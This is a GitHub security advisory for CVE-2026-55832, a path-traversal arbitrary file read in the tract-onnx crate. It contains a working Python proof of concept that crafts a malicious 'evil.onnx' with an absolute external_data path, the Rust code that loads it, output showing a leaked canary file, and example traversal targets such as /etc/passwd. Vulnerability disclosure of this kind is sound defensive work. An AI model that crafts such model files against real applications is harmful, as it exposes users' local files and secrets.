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GHSA-H668-6X6G-F8R5

Vulnerability from github – Published: 2026-06-19 14:45 – Updated: 2026-06-19 14:45

Summary

tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx

Details

Summary

tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.

Details

In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:

let location = /* tensor.external_data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location);          // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?;   // Mmap::map(File::open(p)) by default

Path::join with an absolute location (e.g. /etc/passwd) discards the base directory → p = /etc/passwd.
A relative ../../../../etc/passwd value is not normalized → directory traversal.
The default MmapDataResolver (onnx/src/data_resolver.rs) then mmaps the file and copies mmap[offset..offset+length] into the tensor. offset/length are also taken from the file; an out-of-range slice panics (DoS).

No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).

Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).

PoC

Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.

A canary file the model must not be able to read: /tmp/tract_canary_secret.txt → TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b
Build a small evil.onnx with a UINT8[37] initializer whose external_data is location=/tmp/tract_canary_secret.txt (absolute), offset=0, length=37, fed through Identity to the output (raw protobuf serialization):

import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt"      # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
    e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())

Victim loads the untrusted model with the standard API:

let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));

Output:

"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"

i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.

Impact

Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.

Suggested fix

Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tract-onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tract-onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tract-onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.23.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:45:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`tract` (the `tract-onnx` crate) resolves an ONNX tensor\u0027s external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file\u0027s contents flowing into the model\u0027s tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened.\n\n### Details\n\nIn `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks:\n\n```rust\nlet location = /* tensor.external_data \"location\" value \u2014 attacker-controlled */;\nlet p = PathBuf::from(path).join(location);          // no is_absolute / \"..\" / canonicalize / containment check\nprovider.read_bytes_from_path(\u0026mut tensor_data, \u0026p, offset, length)?;   // Mmap::map(File::open(p)) by default\n```\n\n- `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory \u2192 `p = /etc/passwd`.\n- A **relative** `../../../../etc/passwd` value is not normalized \u2192 directory traversal.\n- The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS).\n\nNo `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`).\n\nReachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` \u2192 `get_external_resources(.., model_dir)`.\n\n### PoC\n\nTested on `tract-onnx 0.21.16` (crates.io), Rust 1.96.\n\n1. A canary file the model must not be able to read:\n   `/tmp/tract_canary_secret.txt` \u2192 `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b`\n2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization):\n\n```python\nimport onnx\nfrom onnx import helper, TensorProto, StringStringEntryProto\nN = 37; LOC = \"/tmp/tract_canary_secret.txt\"      # absolute -\u003e Path::join discards the base dir\nw = TensorProto(); w.name = \"W\"; w.data_type = TensorProto.UINT8\nw.dims.extend([N]); w.data_location = TensorProto.EXTERNAL\nfor k, v in [(\"location\", LOC), (\"offset\", \"0\"), (\"length\", str(N))]:\n    e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)\nnode = helper.make_node(\"Identity\", [\"W\"], [\"Y\"])\nout = helper.make_tensor_value_info(\"Y\", TensorProto.UINT8, [N])\ng = helper.make_graph([node], \"g\", [], [out], initializer=[w])\nm = helper.make_model(g, opset_imports=[helper.make_opsetid(\"\", 13)])\nopen(\"evil.onnx\", \"wb\").write(m.SerializeToString())\n```\n\n3. Victim loads the untrusted model with the standard API:\n\n```rust\nlet model = tract_onnx::onnx().model_for_path(\"evil.onnx\")?;\nlet out = model.into_optimized()?.into_runnable()?.run(tvec!())?;\nlet bytes: Vec\u003cu8\u003e = out[0].to_array_view::\u003cu8\u003e()?.iter().cloned().collect();\nprintln!(\"{:?}\", String::from_utf8_lossy(\u0026bytes));\n```\n\nOutput:\n\n```\n\"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b\"\n```\n\ni.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output.\n\n### Impact\n\nRead-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model\u0027s tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution.\n\n### Suggested fix\n\nReject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0\u0027s `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.",
  "id": "GHSA-h668-6x6g-f8r5",
  "modified": "2026-06-19T14:45:43Z",
  "published": "2026-06-19T14:45:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sonos/tract"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx"
}

Sightings

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Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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GHSA-H668-6X6G-F8R5

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